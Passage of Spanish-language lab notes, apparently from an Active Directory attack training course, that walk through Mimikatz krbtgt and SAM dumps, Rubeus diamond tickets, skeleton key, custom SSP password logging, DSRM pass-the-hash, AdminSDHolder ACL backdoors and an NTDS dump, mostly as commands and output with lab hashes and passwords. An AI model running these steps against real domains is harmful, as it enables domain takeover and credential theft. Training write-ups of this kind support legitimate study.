%} ``` C:\AD\Tools\netcat-win32-1.12>nc -lvp 6969 listening on [any] 6969 ... 172.16.2.1: inverse host lookup failed: h_errno 11004: NO_DATA connect to [172.16.100.23] from (UNKNOWN) [172.16.2.1] 61506: NO_DATA Windows PowerShell running as user DCORP-DC$ on DCORP-DC Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system ``` # Learning Objective - 10 ## Creando Diamond Ticket {% code overflow="wrap" %} ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt" "exit"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::lsa /inject /name:krbtgt Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648 RID : 000001f6 (502) User : krbtgt * Primary NTLM : 4e9815869d2090ccfca61c1fe0d23986 LM : Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986 ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986 lm - 0: ea03581a1268674a828bde6ab09db837 * WDigest 01 a0e60e247b498de4cacfac3ba615af01 02 86615bb9bf7e3c731ba1cb47aa89cf6d 03 637dfb61467fdb4f176fe844fd260bac 04 a0e60e247b498de4cacfac3ba615af01 05 86615bb9bf7e3c731ba1cb47aa89cf6d 06 d2874f937df1fd2b05f528c6e715ac7a 07 a0e60e247b498de4cacfac3ba615af01 08 e8ddc0d55ac23e847837791743b89d22 09 e8ddc0d55ac23e847837791743b89d22 10 5c324b8ab38cfca7542d5befb9849fd9 11 f84dfb60f743b1368ea571504e34863a 12 e8ddc0d55ac23e847837791743b89d22 13 2281b35faded13ae4d78e33a1ef26933 14 f84dfb60f743b1368ea571504e34863a 15 d9ef5ed74ef473e89a570a10a706813e 16 d9ef5ed74ef473e89a570a10a706813e 17 87c75daa20ad259a6f783d61602086aa 18 f0016c07fcff7d479633e8998c75bcf7 19 7c4e5eb0d5d517f945cf22d74fec380e 20 cb97816ac064a567fe37e8e8c863f2a7 21 5adaa49a00f2803658c71f617031b385 22 5adaa49a00f2803658c71f617031b385 23 6d86f0be7751c8607e4b47912115bef2 24 caa61bbf6b9c871af646935febf86b95 25 caa61bbf6b9c871af646935febf86b95 26 5d8e8f8f63b3bb6dd48db5d0352c194c 27 3e139d350a9063db51226cfab9e42aa1 28 d745c0538c8fd103d71229b017a987ce 29 40b43724fa76e22b0d610d656fb49ddd * Kerberos Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Credentials des_cbc_md5 : 150ea2e934ab6b80 * Kerberos-Newer-Keys Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 aes128_hmac (4096) : e74fa5a9aa05b2c0b2d196e226d8820e des_cbc_md5 (4096) : 150ea2e934ab6b80 * NTLM-Strong-NTOWF Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd mimikatz(powershell) # exit Bye! ``` {% endcode %} Utilizando el aes256\_hmac, creamos el ticket e instanciamos una shell. ``` PS C:\AD\Tools> .\Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /user:student723 /password:xxxxxxxxxxxxxx /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Diamond Ticket [*] Showing process : True [*] Username : OCPBBF9Y [*] Domain : 2M2G4XL4 [*] Password : 2WCYITLX [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 6388 [+] LUID : 0x483ae62 [*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1) [!] Pre-Authentication required! [!] AES256 Salt: DOLLARCORP.MONEYCORP.LOCALstudent723 [*] Using aes256_cts_hmac_sha1 hash: 8A55FB08BBBD0F30FEA2CEC44BF8548B4291230F6BFEE5107B45059484EAF75C [*] Building AS-REQ (w/ preauth) for: 'dollarcorp.moneycorp.local\student723' [*] Target LUID : 75738722 [*] Using domain controller: 172.16.2.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): 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 UC5MT0NBTA== [*] Target LUID: 0x483ae62 [+] Ticket successfully imported! [*] Decrypting TGT [*] Retreiving PAC [*] Modifying PAC [*] Signing PAC [*] Encrypting Modified TGT [*] base64(ticket.kirbi): doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD T1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOC BNIwggTOoAMCARKhAwIBA6KCBMAEggS8AhejkVgrpMoCDNkEX4VYnzrEE0xuEFa5u2gBtxj+e9D1R7xu yRdsoOR7wfznv7q5wzbIMNaxDp7h962XB8Ous9ffU+plwzadZwnQXHDPxp0SBF6kvCRcN777evjxXhCG ePVsw/W0WkmJn2xWV0c9bE6Xm71JCCLwyigs4HJQ0cUR4nrYDYiJ4wfyQlrHdbSugzXMKUI08KSCd9IC 20zxYqsVMjnPh0oYgIsqXLRN0cVwfMmC52qdHqRukgu2MicflW8+/Kl6gsbTsq/OjtOX6H351YCa8Fl/ ooV2CCw1Na4SOMV53Eyr6aV8v0Fso+2rJAebbV+NjQsb7mI94bLMjLSJjhbbebaf04E1+LaeOOCrig2Q piPY9tmsvqrrCw7grJ7+TdtauMA/+JtZ8QteHU/CTXke8eDiCOqSp9xFDceFcA9CkUeOSJ9QyblepW93 USlti/LzwOMPGQKAADWnUxiFYGv25cr3t+y0RALDa4jO7dTCmbceIjfLaqfw94VL34gR73+vWH8sHumw eEgqb7ky6CwN54NE8KJ3Z3t6rpMOla2aU7NUsVtRkWx4v2zUFmam8rtvR6zPg+qW3MM1AZ+ah6v5dth3 DkSN2XDZSj8RS8t3nG+iFPf2DZymvGBmhLVDuE71Whm0SsXaxyPJsu42wuNqpUJOweiLySu5FIG1FYmH hJ654dMp4HnByP2p9iOJmml9VebsqMZy+cvWmz6CLeZrHT4Q4Vfg7NMwh90/1dFcWcaYTJ5Dzd4WJuo7 abVZ6r5wFu5vsCMeYJHKuccUuIocQ7UX7M4BHihG9U8lp+nucGDAEBV3Y5rKgkIM34NC3I0+GCJkq+c5 +2/a+dKJXFy5FvucMHVRjB6T621akfT36kexH/QV/+IiYk6eoHtG4njbZLahbEpFoNJqvfOiTs1EvRbr 5pIUNw5uaLDvcdVdakG3alZSUDRlpKWBkSTcadrYwzimmvag6BUT4lTJE/s4nI6L8PDqPpHZO74X0cNN DoAHUB8rd75PsNZwz5KGFt13PTTkl39dtn+lFFxMJj5/ERnUv/zhmteSUTEAZm3gdXiSZaqpTTDoRnJ/ bD1ahus9ddZdncx33hKmKU7WfxTjvm7qaMF973IHcvMj56yuvtY+wkjxIFnf+dA9Orvkg/W8Y/2/ayW8 cbxa/XZpxNgVFsxGBi0NrqR8PRUW5BFuEEjR9/HavRafj1PR5NoLhYyi+0hcf9rFivzjOi7jEJ1pUPll R+gUREnXvEBCmTaAibRcmkgHqEffsNGK3xzSe7/DxiK5CdiYEYy9YjjeG/YaZIjoT8lZYsecMRF/8Caq +qNKLuFW72lQIeDTVW4x0P6zH87z+9oro2maEai1PxDoB8XN7URr8vEh/K7NxMngF8BzYo4vox837YAk eu/T6VTqOqctJ0XKs0n/Xsrk6AuawUJX8Y72LzU8HJo9sF0c2g83BBs3PPSC8LLa4dHBIZBOiueQOHH3 Xp8W9Ng5F17gFsWx9eUeViw8xKUM600YvbpK4OHM62TIHo6ojpSqFgGJvcSKMizbZmrC/7DHXcQZVUxc pGpEAPdUJlM2oYbYMhQtSxBeI00u753D7qfigMosMFPa24XNo4IBGjCCARagAwIBAKKCAQ0EggEJfYIB BTCCAQGggf4wgfswgfigKzApoAMCARKhIgQgvIokGsQQvfbVuWul2dBijv/QM9EytijM8w/ONP4bC4ah HBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhdG9yowcD BQBA4QAApREYDzIwMjQwMjI2MDA0MzA5WqYRGA8yMDI0MDIyNjEwNDMwOVqnERgPMjAyNDAzMDQwMDQz MDlaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xM QVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] Target LUID: 0x483ae62 [+] Ticket successfully imported! ``` Tambien puedes usarlo sin credenciales usando /tgtdeleg. ``` Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorpdc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt ``` Funciona de la misma manera :). ## Skeleton Key ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # privilege::debug Privilege '20' OK mimikatz(powershell) # misc::skeleton [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK ``` Creando sesion en cualquier computador con la password 'mimikatz' ``` PS C:\AD\Tools> Enter-PSSession -Computername dcorp-dc -credential dcorp\Administrator [dcorp-dc]: PS C:\Users\Administrator\Documents> whoami dcorp\administrator ``` More info: 157 pag. # Learning Objective - 11 ## DSRM ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 620 {0;000003e7} 1 D 18290 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;0898d047} 0 D 144233195 dcorp\Administrator S-1-5-21-719815819-3726368948-3917688648-500 (12g,26p) Primary * Thread Token : {0;000003e7} 1 D 144330074 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz(powershell) # lsadump::sam Domain : DCORP-DC SysKey : bab78acd91795c983aef0534e0db38c7 Local SID : S-1-5-21-627273635-3076012327-2140009870 SAMKey : f3a9473cb084668dcf1d7e5f47562659 RID : 000001f4 (500) User : Administrator Hash NTLM: a102ad5753f4c441e3af31c97fad86fd RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount ``` ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::lsa /patch Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648 RID : 000001f4 (500) User : Administrator LM : NTLM : af0686cc0ca8f04df42210c9ac980760 RID : 000001f5 (501) User : Guest LM : NTLM : RID : 000001f6 (502) User : krbtgt LM : NTLM : 4e9815869d2090ccfca61c1fe0d23986 ``` Ejecutamos los siguientes comandos para que la clave use el hash del DSRM ``` PS C:\AD\Tools> Enter-PSSession -Computername dcorp-dc [dcorp-dc]: PS C:\Users\Administrator\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD DsrmAdminLogonBehavior : 2 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ Lsa\ PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control PSChildName : Lsa PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` Ahora nos logeamos con la hash del DSRM. ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe user : Administrator domain : dcorp-dc program : powershell.exe impers. : no NTLM : a102ad5753f4c441e3af31c97fad86fd | PID 6640 | TID 4808 | LSA Process is now R/W | LUID 0 ; 77309916 (00000000:049ba7dc) \_ msv1_0 - data copy @ 000002167504DE30 : OK ! \_ kerberos - data copy @ 00000216753FA068 \_ des_cbc_md4 -> null \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ *Password replace @ 0000021675AF0AE8 (32) -> null PS C:\AD\Tools> ``` En la nueva terminar podemos evidenciar el permiso para logeo. ``` PS C:\Windows\system32> ls \\dcorp-dc\C$ Directory: \\dcorp-dc\C$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/14/2022 10:12 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 2/25/2024 3:27 PM Users d----- 1/10/2024 12:59 AM Windows ``` {% embed url="" %} {% embed url="" %} # Learning Objective - 12 ## Custom SSP ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"misc::memssp"' -ComputerName dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # misc::memssp Injected =) PS C:\AD\Tools> cat \\dcorp-dc\c$\windows\system32\mimilsa.log [00000000:006d432e] dcorp\Administrator *DollarMakesEveryoneHappy PS C:\AD\Tools> cat \\dcorp-dc\c$\windows\system32\mimilsa.log [00000000:006d432e] dcorp\Administrator *DollarMakesEveryoneHappy [00000000:006d82d7] dcorp\Administrator *DollarMakesEveryoneHappy [00000000:006db07e] dcorp\Administrator *DollarMakesEveryoneHappy ``` ## AdminSDHolder ``` PS C:\AD\Tools> . .\PowerView.ps1 PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity student723 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=student723)(name=student723)(displayname=student723))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=student723)(name=student723)(displayname=student723)))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local)) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local 'All' on CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local rights GUID '00000000-0000-0000-0000-000000000000' on CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local PS C:\AD\Tools> ``` Se evidencia en el BloodHound
``` PS C:\AD\Tools> . .\Invoke-SDPropagator.ps1 PS C:\AD\Tools> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose VERBOSE: PDC Located at dcorp-dc.dollarcorp.moneycorp.local VERBOSE: Initiating SD Propogation on dcorp-dc.dollarcorp.moneycorp.local VERBOSE: Checking for start of SD Propagator ``` ### Agregando a un usuario como domain admin validamos nuestros permisos ``` PS C:\ad\tools> . .\PowerView.ps1 PS C:\ad\tools> Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "student723"} AceType : AccessAllowed ObjectDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local ActiveDirectoryRights : GenericAll OpaqueLength : 0 ObjectSID : S-1-5-21-719815819-3726368948-3917688648-512 InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-13603 AccessMask : 983551 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed IdentityName : dcorp\student723 ``` Validamos que el usuario testad no es domain admin. ``` PS C:\ad\tools> net user testda /dom The request will be processed at a domain controller for domain dollarcorp.moneycorp.local. User name testda Full Name test da Comment Not what the name implies ;) User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 11/14/2022 9:06:38 AM Password expires Never Password changeable 11/15/2022 9:06:38 AM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users The command completed successfully. ``` Ahora lo agregamos. ``` PS C:\ad\tools> Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose VERBOSE: [Add-DomainGroupMember] Adding member 'testda' to group 'Domain Admins' ``` Volvemos a verificar. ``` PS C:\ad\tools> net user testda /dom The request will be processed at a domain controller for domain dollarcorp.moneycorp.local. User name testda Full Name test da Comment Not what the name implies ;) User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 11/14/2022 9:06:38 AM Password expires Never Password changeable 11/15/2022 9:06:38 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Domain Admins *Domain Users The command completed successfully. ``` Tambien podemos remover usuarios. ``` PS C:\ad\tools> Remove-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose VERBOSE: [Remove-DomainGroupMember] Removing member 'testda' from group 'Domain Admins' True PS C:\ad\tools> net user testda /dom The request will be processed at a domain controller for domain dollarcorp.moneycorp.local. User name testda Full Name test da Comment Not what the name implies ;) User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 11/14/2022 9:06:38 AM Password expires Never Password changeable 11/15/2022 9:06:38 AM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users The command completed successfully. ``` ### Forzando el cambio de clave Agregamos los permisos para reinicio de clave. ``` PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity student723 -Rights ResetPassword -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=student723)(name=student723)(displayname=student723))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=student723)(name=student723)(displayname=student723)))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local)) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local 'ResetPassword' on CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local ``` Ejecutamos el Invoke-SDPropagator para aplicar los cambios ahora mismo. ``` PS C:\AD\Tools> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose VERBOSE: PDC Located at dcorp-dc.dollarcorp.moneycorp.local VERBOSE: Initiating SD Propogation on dcorp-dc.dollarcorp.moneycorp.local VERBOSE: Checking for start of SD Propagator ``` Verificamos los permisos: ``` PS C:\ad\tools> Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "student723"} AceQualifier : AccessAllowed ObjectDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-719815819-3726368948-3917688648-512 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-13603 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 IdentityName : dcorp\student723 ``` intentando reiniciar la clave. ``` PS C:\ad\tools> Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Bromita123!" -AsPlainText -Force) -Verbose VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'testda' VERBOSE: [Set-DomainUserPassword] Password for user 'testda' successfully reset ``` Se recomiendo segun lo analizado en las pruebas, que nose maneje mas de 1 permisos por acl en el AdminSDHolder. ## Rights Abuse Validamos si puede realizar DcSync. ``` $ crackmapexec smb 172.16.2.1 -u student723 -p 'hT3qDFRHGzVpJtym' --ntds SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym SMB 172.16.2.1 445 DCORP-DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied SMB 172.16.2.1 445 DCORP-DC [+] Dumping the NTDS, this could take a while so go 